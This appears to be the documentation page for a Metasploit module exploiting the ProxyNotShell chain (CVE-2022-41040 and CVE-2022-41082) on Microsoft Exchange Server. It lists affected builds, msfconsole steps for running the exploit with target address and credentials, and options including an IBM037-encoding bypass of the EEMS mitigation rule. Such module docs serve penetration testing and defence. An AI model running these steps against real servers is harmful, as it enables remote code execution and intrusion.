Vulnerable Application

This module chains two vulnerabilities on Microsoft Exchange Server that, when combined, allow an authenticated attacker to interact with the Exchange Powershell backend (CVE-2022-41040), where a deserialization flaw can be leveraged to obtain code execution (CVE-2022-41082). This exploit only support Exchange Server 2019.

By taking advantage of this vulnerability, you can execute arbitrary commands on the remote Microsoft Exchange Server.

This vulnerability affects:

  • Exchange 2013 CU23 < 15.0.1497.44

  • Exchange 2016 CU22 < 15.1.2375.37

  • Exchange 2016 CU23 < 15.1.2507.16

  • Exchange 2019 CU11 < 15.2.986.36

  • Exchange 2019 CU12 < 15.2.1118.20

Source: Description of the security update for Microsoft Exchange Server 2019, 2016, and 2013: November 8, 2022 (KB5019758)

Verification Steps

  1. Start msfconsole

  2. Do: use exploit/windows/http/exchange_proxynotshell_rce

  3. Do: set RHOSTS [IP]

  4. Do: set USERNAME [USERNAME]

  5. Do: set PASSWORD [PASSWORD]

  6. Do: run

Advanced Options

EemsBypass

Technique to bypass the EEMS rule.

none -- Make no attempt to bypass the EEMS rule. This can be used with the check method to determine if the EEMS M1 rule is applied. IBM037v1 -- Use IBM037 encoding combined with the X-Up-Devcap-Post-Charset header and UP User-Agent prefix. See ProxyNotRelay for more information.

MaxBackendRetries

The maximum number of times to retry for targeting the backend server with the SSRF. This is useful in environments where a Data Availability Group (DAG) is in place and causes requests to be sent to a random backend server.
